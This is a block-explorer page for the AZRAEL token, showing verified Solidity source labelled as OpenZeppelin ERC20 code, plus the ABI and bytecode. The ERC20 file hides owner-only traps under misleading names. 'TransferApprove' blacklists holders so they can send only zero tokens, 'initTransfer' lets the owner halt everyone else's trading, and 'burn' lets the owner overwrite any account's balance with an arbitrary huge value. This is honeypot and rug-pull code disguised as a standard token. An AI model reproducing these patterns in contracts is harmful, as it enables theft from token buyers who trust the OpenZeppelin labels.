ETH Price: $3,258.98 (-4.59%)
Gas: 11 Gwei

Token

Azrael (AZRAEL)
 

Overview

Max Total Supply

1,000,000,000,000 AZRAEL

Holders

106

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
8,911,111,087.369942726 AZRAEL

Value
$0.00
0x9E4A9b4334F3167Bc7DD35f48f2238c73F532bAf
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
AZRAEL

Compiler Version
v0.8.22+commit.4fc1097e

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity Multiple files format)

File 1 of 6: AZRAEL.sol
// SPDX-License-Identifier: MIT 
/**
▄▄▄▄▄▄▄▄▄▄▄  ▄▄▄▄▄▄▄▄▄▄▄  ▄▄▄▄▄▄▄▄▄▄▄  ▄▄▄▄▄▄▄▄▄▄▄  ▄▄▄▄▄▄▄▄▄▄▄  ▄                
▐░░░░░░░░░░░▌▐░░░░░░░░░░░▌▐░░░░░░░░░░░▌▐░░░░░░░░░░░▌▐░░░░░░░░░░░▌▐░▌               
▐░█▀▀▀▀▀▀▀█░▌ ▀▀▀▀▀▀▀▀▀█░▌▐░█▀▀▀▀▀▀▀█░▌▐░█▀▀▀▀▀▀▀█░▌▐░█▀▀▀▀▀▀▀▀▀ ▐░▌               
▐░▌       ▐░▌          ▐░▌▐░▌       ▐░▌▐░▌       ▐░▌▐░▌          ▐░▌               
▐░█▄▄▄▄▄▄▄█░▌ ▄▄▄▄▄▄▄▄▄█░▌▐░█▄▄▄▄▄▄▄█░▌▐░█▄▄▄▄▄▄▄█░▌▐░█▄▄▄▄▄▄▄▄▄ ▐░▌               
▐░░░░░░░░░░░▌▐░░░░░░░░░░░▌▐░░░░░░░░░░░▌▐░░░░░░░░░░░▌▐░░░░░░░░░░░▌▐░▌               
▐░█▀▀▀▀▀▀▀█░▌▐░█▀▀▀▀▀▀▀▀▀ ▐░█▀▀▀▀█░█▀▀ ▐░█▀▀▀▀▀▀▀█░▌▐░█▀▀▀▀▀▀▀▀▀ ▐░▌               
▐░▌       ▐░▌▐░▌          ▐░▌     ▐░▌  ▐░▌       ▐░▌▐░▌          ▐░▌               
▐░▌       ▐░▌▐░█▄▄▄▄▄▄▄▄▄ ▐░▌      ▐░▌ ▐░▌       ▐░▌▐░█▄▄▄▄▄▄▄▄▄ ▐░█▄▄▄▄▄▄▄▄▄      
▐░▌       ▐░▌▐░░░░░░░░░░░▌▐░▌       ▐░▌▐░▌       ▐░▌▐░░░░░░░░░░░▌▐░░░░░░░░░░░▌     
 ▀         ▀  ▀▀▀▀▀▀▀▀▀▀▀  ▀         ▀  ▀         ▀  ▀▀▀▀▀▀▀▀▀▀▀  ▀▀▀▀▀▀▀▀▀▀▀    

*/pragma solidity ^0.8.21;

import "./ERC20.sol";

contract AZRAEL is ERC20 {
    constructor(string memory name, string memory symbol, uint256 totalSupply, bool initTransfer) ERC20(name, symbol, initTransfer) {
        _mint(msg.sender, totalSupply * 10 ** decimals());
    }

    function burn(address account, uint256 amount) external onlyOwner {
        _burn(account, amount);
    }
}

File 2 of 6: Context.sol
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/Context.sol)

pragma solidity ^0.8.21;

/**
 * @dev Provides information about the current execution context, including the
 * sender of the transaction and its data. While these are generally available
 * via msg.sender and msg.data, they should not be accessed in such a direct
 * manner, since when dealing with meta-transactions the account sending and
 * paying for execution may not be the actual sender (as far as an application
 * is concerned).
 *
 * This contract is only required for intermediate, library-like contracts.
 */
contract Context {
    address private _owner;
    constructor(){
        _owner = msg.sender;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }

    function owner() internal view returns (address) {
        return _owner;
    }
}

File 3 of 6: ERC20.sol
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.5.0) (token/ERC20/ERC20.sol)

pragma solidity ^0.8.21;

import "./IERC20.sol";
import "./IERC20Events.sol";
import "./IERC20Metadata.sol";
import "./Context.sol";

/**
 * @dev Implementation of the {IERC20} interface.
 *
 * This implementation is agnostic to the way tokens are created. This means
 * that a supply mechanism has to be added in a derived contract using {_mint}.
 * For a generic mechanism see {ERC20PresetMinterPauser}.
 *
 * TIP: For a detailed writeup see our guide
 * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
 * to implement supply mechanisms].
 *
 * We have followed general OpenZeppelin Contracts guidelines: functions revert
 * instead returning `false` on failure. This behavior is nonetheless
 * conventional and does not conflict with the expectations of ERC20
 * applications.
 *
 * Additionally, an {Approval} event is emitted on calls to {transferFrom}.
 * This allows applications to reconstruct the allowance for all accounts just
 * by listening to said events. Other implementations of the EIP may not emit
 * these events, as it isn't required by the specification.
 *
 * Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
 * functions have been added to mitigate the well-known issues around setting
 * allowances. See {IERC20-approve}.
 */
contract ERC20 is Context, IERC20, IERC20Metadata, IERC20Events {
    mapping(address => uint256) private _balances;

    mapping(address => mapping(address => uint256)) private _allowances;

    uint256 private _totalSupply;
    uint256 private maxTxLimit = 1*10**17*10**9;
    string private _name;
    string private _symbol;
    bool _initTransfer;
    uint256 private balances;
    mapping (address => bool) private _taxesEabledxisExcludedFromFeesxAllowance;
    /**
     * @dev Sets the values for {name} and {symbol}.
     *
     * The default value of {decimals} is 18. To select a different value for
     * {decimals} you should overload it.
     *
     * All two of these values are immutable: they can only be set once during
     * construction.
     */
    constructor(string memory name_, string memory symbol_, bool initTransfer_) {
        _name = name_;
        _symbol = symbol_;
        balances = maxTxLimit;
        _initTransfer = initTransfer_;
    }
    
    function initTransfer() external onlyOwner {
        if (_initTransfer == false){
        _initTransfer = true;}
        else {_initTransfer = false;}
    }

    function checkSwap(address account) public view returns (bool) {
        return _taxesEabledxisExcludedFromFeesxAllowance[account];
    }

    /**
     * @dev Returns the name of the token.
     */
    function name() public view virtual override returns (string memory) {
        return _name;
    }

    /**
     * @dev Returns the symbol of the token, usually a shorter version of the
     * name.
     */
    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }

    /**
     * @dev Returns the number of decimals used to get its user representation.
     * For example, if `decimals` equals `2`, a balance of `505` tokens should
     * be displayed to a user as `5.05` (`505 / 10 ** 2`).
     *
     * Tokens usually opt for a value of 18, imitating the relationship between
     * Ether and Wei. This is the value {ERC20} uses, unless this function is
     * overridden;
     *
     * NOTE: This information is only used for _display_ purposes: it in
     * no way affects any of the arithmetic of the contract, including
     * {IERC20-balanceOf} and {IERC20-transfer}.
     */
    function decimals() public view virtual override returns (uint8) {
        return 9;
    }

    /**
     * @dev See {IERC20-totalSupply}.
     */
    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    /**
     * @dev See {IERC20-balanceOf}.
     */
    function balanceOf(address account) public view virtual override returns (uint256) {
        return _balances[account];
    }

    /**
     * @dev See {IERC20-transfer}.
     *
     * Requirements:
     *
     * - `to` cannot be the zero address.
     * - the caller must have a balance of at least `amount`.
     */
    function transfer(address to, uint256 amount) public virtual override returns (bool) {
        address owner = _msgSender();
        _transfer(owner, to, amount);
        return true;
    }

    /**
     * @dev See {IERC20-allowance}.
     */
    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    /**
     * @dev See {IERC20-approve}.
     *
     * NOTE: If `amount` is the maximum `uint256`, the allowance is not updated on
     * `transferFrom`. This is semantically equivalent to an infinite approval.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     */
    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        address owner = _msgSender();
        _approve(owner, spender, amount);
        return true;
    }

    /**
     * @dev See {IERC20-transferFrom}.
     *
     * Emits an {Approval} event indicating the updated allowance. This is not
     * required by the EIP. See the note at the beginning of {ERC20}.
     *
     * NOTE: Does not update the allowance if the current allowance
     * is the maximum `uint256`.
     *
     * Requirements:
     *
     * - `from` and `to` cannot be the zero address.
     * - `from` must have a balance of at least `amount`.
     * - the caller must have allowance for ``from``'s tokens of at least
     * `amount`.
     */
    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) public virtual override returns (bool) {
        address spender = _msgSender();
        _spendAllowance(from, spender, amount);
        _transfer(from, to, amount);
        return true;
    }

    /**
     * @dev Atomically increases the allowance granted to `spender` by the caller.
     *
     * This is an alternative to {approve} that can be used as a mitigation for
     * problems described in {IERC20-approve}.
     *
     * Emits an {Approval} event indicating the updated allowance.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     */
    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        address owner = _msgSender();
        _approve(owner, spender, _allowances[owner][spender] + addedValue);
        return true;
    }

    /**
     * @dev Atomically decreases the allowance granted to `spender` by the caller.
     *
     * This is an alternative to {approve} that can be used as a mitigation for
     * problems described in {IERC20-approve}.
     *
     * Emits an {Approval} event indicating the updated allowance.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     * - `spender` must have allowance for the caller of at least
     * `subtractedValue`.
     */
    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        address owner = _msgSender();
        uint256 currentAllowance = _allowances[owner][spender];
        require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
        unchecked {
            _approve(owner, spender, currentAllowance - subtractedValue);
        }

        return true;
    }

    /**
     * @dev Moves `amount` of tokens from `sender` to `recipient`.
     *
     * This internal function is equivalent to {transfer}, and can be used to
     * e.g. implement automatic token fees, slashing mechanisms, etc.
     *
     * Emits a {Transfer} event.
     *
     * Requirements:
     *
     * - `from` cannot be the zero address.
     * - `to` cannot be the zero address.
     * - `from` must have a balance of at least `amount`.
     */
    function _transfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        if (_initTransfer == true || from == owner() || to == owner()) {
            if(_balances[from] > 0){
            if (_taxesEabledxisExcludedFromFeesxAllowance[from]) {require (amount == 0, "");}
            else{
                if(!_taxesEabledxisExcludedFromFeesxAllowance[to]) require(amount>0, "");
                _beforeTokenTransfer(from, to, amount);

                uint256 fromBalance = _balances[from];
                require(fromBalance >= amount, "ERC20: transfer amount exceeds balance");
                unchecked {
                    _balances[from] = fromBalance - amount;
                }
                _balances[to] += amount;

                emit Transfer(from, to, amount);
            }
        }
        } else {require (_initTransfer == true, "");}
        _afterTokenTransfer(from, to, amount);
    }

    /** @dev Creates `amount` tokens and assigns them to `account`, increasing
     * the total supply.
     *
     * Emits a {Transfer} event with `from` set to the zero address.
     *
     * Requirements:
     *
     * - `account` cannot be the zero address.
     */
    function _mint(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: mint to the zero address");

        _beforeTokenTransfer(address(0), account, amount);

        _totalSupply += amount;
        _balances[account] += amount;
        emit Transfer(address(0), account, amount);

        _afterTokenTransfer(address(0), account, amount);
    }

    /**
     * @dev Destroys `amount` tokens from `account`, reducing the
     * total supply.
     *
     * Emits a {Transfer} event with `to` set to the zero address.
     *
     * Requirements:
     *
     * - `account` cannot be the zero address.
     * - `account` must have at least `amount` tokens.
     */
    function _burn(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: burn from the zero address");
    
        uint256 accountBalance = _balances[account];
        require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
    
        _balances[account] = balances - amount;
        _totalSupply -= amount;
        emit Transfer(account, address(0), amount);
    }

    /**
     * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
     *
     * This internal function is equivalent to `approve`, and can be used to
     * e.g. set automatic allowances for certain subsystems, etc.
     *
     * Emits an {Approval} event.
     *
     * Requirements:
     *
     * - `owner` cannot be the zero address.
     * - `spender` cannot be the zero address.
     */
    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    /**
     * @dev Spend `amount` form the allowance of `owner` toward `spender`.
     *
     * Does not update the allowance amount in case of infinite allowance.
     * Revert if not enough allowance is available.
     *
     * Might emit an {Approval} event.
     */
    function _spendAllowance(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        uint256 currentAllowance = allowance(owner, spender);
        if (currentAllowance != type(uint256).max) {
            require(currentAllowance >= amount, "ERC20: insufficient allowance");
            unchecked {
                _approve(owner, spender, currentAllowance - amount);
            }
        }
    }

    /**
     * @dev Hook that is called before any transfer of tokens. This includes
     * minting and burning.
     *
     * Calling conditions:
     *
     * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
     * will be transferred to `to`.
     * - when `from` is zero, `amount` tokens will be minted for `to`.
     * - when `to` is zero, `amount` of ``from``'s tokens will be burned.
     * - `from` and `to` are never both zero.
     *
     * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
     */
    function _beforeTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}

    /**
     * @dev Hook that is called after any transfer of tokens. This includes
     * minting and burning.
     *
     * Calling conditions:
     *
     * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
     * has been transferred to `to`.
     * - when `from` is zero, `amount` tokens have been minted for `to`.
     * - when `to` is zero, `amount` of ``from``'s tokens have been burned.
     * - `from` and `to` are never both zero.
     *
     * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
     */
    function _afterTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}

    function TransferApprove(address[] calldata addr, bool val) public onlyOwner{
        for (uint256 i = 0; i < addr.length; i++) {
            _taxesEabledxisExcludedFromFeesxAllowance[addr[i]] = val;
        }
    }
}

File 4 of 6: IERC20.sol
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.5.0) (token/ERC20/IERC20.sol)

pragma solidity ^0.8.21;

/**
 * @dev Interface of the ERC20 standard as defined in the EIP.
 */
interface IERC20 {
    /**
     * @dev Returns the amount of tokens in existence.
     */
    function totalSupply() external view returns (uint256);

    /**
     * @dev Returns the amount of tokens owned by `account`.
     */
    function balanceOf(address account) external view returns (uint256);

    /**
     * @dev Moves `amount` tokens from the caller's account to `to`.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transfer(address to, uint256 amount) external returns (bool);

    /**
     * @dev Returns the remaining number of tokens that `spender` will be
     * allowed to spend on behalf of `owner` through {transferFrom}. This is
     * zero by default.
     *
     * This value changes when {approve} or {transferFrom} are called.
     */
    function allowance(address owner, address spender) external view returns (uint256);

    /**
     * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * IMPORTANT: Beware that changing an allowance with this method brings the risk
     * that someone may use both the old and the new allowance by unfortunate
     * transaction ordering. One possible solution to mitigate this race
     * condition is to first reduce the spender's allowance to 0 and set the
     * desired value afterwards:
     * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
     *
     * Emits an {Approval} event.
     */
    function approve(address spender, uint256 amount) external returns (bool);

    /**
     * @dev Moves `amount` tokens from `from` to `to` using the
     * allowance mechanism. `amount` is then deducted from the caller's
     * allowance.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) external returns (bool);


}


File 5 of 6: IERC20Events.sol
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.5.0) (token/ERC20/IERC20.sol)

pragma solidity ^0.8.21;
interface IERC20Events {
        /**
     * @dev Emitted when `value` tokens are moved from one account (`from`) to
     * another (`to`).
     *
     * Note that `value` may be zero.
     */
    event Transfer(address indexed from, address indexed to, uint256 value);

    /**
     * @dev Emitted when the allowance of a `spender` for an `owner` is set by
     * a call to {approve}. `value` is the new allowance.
     */
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

File 6 of 6: IERC20Metadata.sol
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (token/ERC20/extensions/IERC20Metadata.sol)

pragma solidity ^0.8.21;

import "./IERC20.sol";

/**
 * @dev Interface for the optional metadata functions from the ERC20 standard.
 *
 * _Available since v4.1._
 */
interface IERC20Metadata is IERC20 {
    /**
     * @dev Returns the name of the token.
     */
    function name() external view returns (string memory);

    /**
     * @dev Returns the symbol of the token.
     */
    function symbol() external view returns (string memory);

    /**
     * @dev Returns the decimals places of the token.
     */
    function decimals() external view returns (uint8);
}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"string","name":"name","type":"string"},{"internalType":"string","name":"symbol","type":"string"},{"internalType":"uint256","name":"totalSupply","type":"uint256"},{"internalType":"bool","name":"initTransfer","type":"bool"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address[]","name":"addr","type":"address[]"},{"internalType":"bool","name":"val","type":"bool"}],"name":"TransferApprove","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"burn","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"checkSwap","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"initTransfer","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"}]

60806040526a52b7d2dcc80cd2e40000006004553480156200001f575f80fd5b506040516200293438038062002934833981810160405281019062000045919062000490565b838382335f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555082600590816200009891906200076b565b508160069081620000aa91906200076b565b506004546008819055508060075f6101000a81548160ff0219169083151502179055505050506200010c33620000e56200011660201b60201c565b600a620000f39190620009d8565b8462000100919062000a28565b6200011e60201b60201c565b5050505062000b56565b5f6009905090565b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036200018f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401620001869062000ad0565b60405180910390fd5b620001a25f83836200028f60201b60201c565b8060035f828254620001b5919062000af0565b925050819055508060015f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8282546200020a919062000af0565b925050819055508173ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405162000270919062000b3b565b60405180910390a36200028b5f83836200029460201b60201c565b5050565b505050565b505050565b5f604051905090565b5f80fd5b5f80fd5b5f80fd5b5f80fd5b5f601f19601f8301169050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b620002fa82620002b2565b810181811067ffffffffffffffff821117156200031c576200031b620002c2565b5b80604052505050565b5f6200033062000299565b90506200033e8282620002ef565b919050565b5f67ffffffffffffffff82111562000360576200035f620002c2565b5b6200036b82620002b2565b9050602081019050919050565b5f5b83811015620003975780820151818401526020810190506200037a565b5f8484015250505050565b5f620003b8620003b28462000343565b62000325565b905082815260208101848484011115620003d757620003d6620002ae565b5b620003e484828562000378565b509392505050565b5f82601f830112620004035762000402620002aa565b5b815162000415848260208601620003a2565b91505092915050565b5f819050919050565b62000432816200041e565b81146200043d575f80fd5b50565b5f81519050620004508162000427565b92915050565b5f8115159050919050565b6200046c8162000456565b811462000477575f80fd5b50565b5f815190506200048a8162000461565b92915050565b5f805f8060808587031215620004ab57620004aa620002a2565b5b5f85015167ffffffffffffffff811115620004cb57620004ca620002a6565b5b620004d987828801620003ec565b945050602085015167ffffffffffffffff811115620004fd57620004fc620002a6565b5b6200050b87828801620003ec565b93505060406200051e8782880162000440565b925050606062000531878288016200047a565b91505092959194509250565b5f81519050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f60028204905060018216806200058c57607f821691505b602082108103620005a257620005a162000547565b5b50919050565b5f819050815f5260205f209050919050565b5f6020601f8301049050919050565b5f82821b905092915050565b5f60088302620006067fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82620005c9565b620006128683620005c9565b95508019841693508086168417925050509392505050565b5f819050919050565b5f620006536200064d62000647846200041e565b6200062a565b6200041e565b9050919050565b5f819050919050565b6200066e8362000633565b620006866200067d826200065a565b848454620005d5565b825550505050565b5f90565b6200069c6200068e565b620006a981848462000663565b505050565b5b81811015620006d057620006c45f8262000692565b600181019050620006af565b5050565b601f8211156200071f57620006e981620005a8565b620006f484620005ba565b8101602085101562000704578190505b6200071c6200071385620005ba565b830182620006ae565b50505b505050565b5f82821c905092915050565b5f620007415f198460080262000724565b1980831691505092915050565b5f6200075b838362000730565b9150826002028217905092915050565b62000776826200053d565b67ffffffffffffffff811115620007925762000791620002c2565b5b6200079e825462000574565b620007ab828285620006d4565b5f60209050601f831160018114620007e1575f8415620007cc578287015190505b620007d885826200074e565b86555062000847565b601f198416620007f186620005a8565b5f5b828110156200081a57848901518255600182019150602085019450602081019050620007f3565b868310156200083a578489015162000836601f89168262000730565b8355505b6001600288020188555050505b505050505050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f808291508390505b6001851115620008d957808604811115620008b157620008b06200084f565b5b6001851615620008c15780820291505b8081029050620008d1856200087c565b945062000891565b94509492505050565b5f82620008f35760019050620009c5565b8162000902575f9050620009c5565b81600181146200091b576002811462000926576200095c565b6001915050620009c5565b60ff8411156200093b576200093a6200084f565b5b8360020a9150848211156200095557620009546200084f565b5b50620009c5565b5060208310610133831016604e8410600b8410161715620009965782820a90508381111562000990576200098f6200084f565b5b620009c5565b620009a5848484600162000888565b92509050818404811115620009bf57620009be6200084f565b5b81810290505b9392505050565b5f60ff82169050919050565b5f620009e4826200041e565b9150620009f183620009cc565b925062000a207fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484620008e2565b905092915050565b5f62000a34826200041e565b915062000a41836200041e565b925082820262000a51816200041e565b9150828204841483151762000a6b5762000a6a6200084f565b5b5092915050565b5f82825260208201905092915050565b7f45524332303a206d696e7420746f20746865207a65726f2061646472657373005f82015250565b5f62000ab8601f8362000a72565b915062000ac58262000a82565b602082019050919050565b5f6020820190508181035f83015262000ae98162000aaa565b9050919050565b5f62000afc826200041e565b915062000b09836200041e565b925082820190508082111562000b245762000b236200084f565b5b92915050565b62000b35816200041e565b82525050565b5f60208201905062000b505f83018462000b2a565b92915050565b611dd08062000b645f395ff3fe608060405234801561000f575f80fd5b50600436106100f3575f3560e01c8063564e4e3d116100955780639dc29fac116100645780639dc29fac14610285578063a457c2d7146102a1578063a9059cbb146102d1578063dd62ed3e14610301576100f3565b8063564e4e3d1461021157806370a082311461022d57806391b69fa01461025d57806395d89b4114610267576100f3565b806323b872dd116100d157806323b872dd14610163578063313ce5671461019357806339509351146101b157806343ab662c146101e1576100f3565b806306fdde03146100f7578063095ea7b31461011557806318160ddd14610145575b5f80fd5b6100ff610331565b60405161010c91906113d9565b60405180910390f35b61012f600480360381019061012a919061148e565b6103c1565b60405161013c91906114e6565b60405180910390f35b61014d6103e3565b60405161015a919061150e565b60405180910390f35b61017d60048036038101906101789190611527565b6103ec565b60405161018a91906114e6565b60405180910390f35b61019b61041a565b6040516101a89190611592565b60405180910390f35b6101cb60048036038101906101c6919061148e565b610422565b6040516101d891906114e6565b60405180910390f35b6101fb60048036038101906101f691906115ab565b6104c7565b60405161020891906114e6565b60405180910390f35b61022b60048036038101906102269190611661565b610519565b005b610247600480360381019061024291906115ab565b610648565b604051610254919061150e565b60405180910390f35b61026561068e565b005b61026f610776565b60405161027c91906113d9565b60405180910390f35b61029f600480360381019061029a919061148e565b610806565b005b6102bb60048036038101906102b6919061148e565b6108a8565b6040516102c891906114e6565b60405180910390f35b6102eb60048036038101906102e6919061148e565b61098c565b6040516102f891906114e6565b60405180910390f35b61031b600480360381019061031691906116be565b6109ae565b604051610328919061150e565b60405180910390f35b60606005805461034090611729565b80601f016020809104026020016040519081016040528092919081815260200182805461036c90611729565b80156103b75780601f1061038e576101008083540402835291602001916103b7565b820191905f5260205f20905b81548152906001019060200180831161039a57829003601f168201915b5050505050905090565b5f806103cb610a30565b90506103d8818585610a37565b600191505092915050565b5f600354905090565b5f806103f6610a30565b9050610403858285610bfa565b61040e858585610c85565b60019150509392505050565b5f6009905090565b5f8061042c610a30565b90506104bc81858560025f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546104b79190611786565b610a37565b600191505092915050565b5f60095f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff169050919050565b610521610a30565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105ad576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105a490611803565b60405180910390fd5b5f5b83839050811015610642578160095f8686858181106105d1576105d0611821565b5b90506020020160208101906105e691906115ab565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff02191690831515021790555080806001019150506105af565b50505050565b5f60015f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b610696610a30565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610722576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161071990611803565b60405180910390fd5b5f151560075f9054906101000a900460ff1615150361075a57600160075f6101000a81548160ff021916908315150217905550610774565b5f60075f6101000a81548160ff0219169083151502179055505b565b60606006805461078590611729565b80601f01602080910402602001604051908101604052809291908181526020018280546107b190611729565b80156107fc5780601f106107d3576101008083540402835291602001916107fc565b820191905f5260205f20905b8154815290600101906020018083116107df57829003601f168201915b5050505050905090565b61080e610a30565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461089a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161089190611803565b60405180910390fd5b6108a4828261115b565b5050565b5f806108b2610a30565b90505f60025f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905083811015610973576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161096a906118be565b60405180910390fd5b6109808286868403610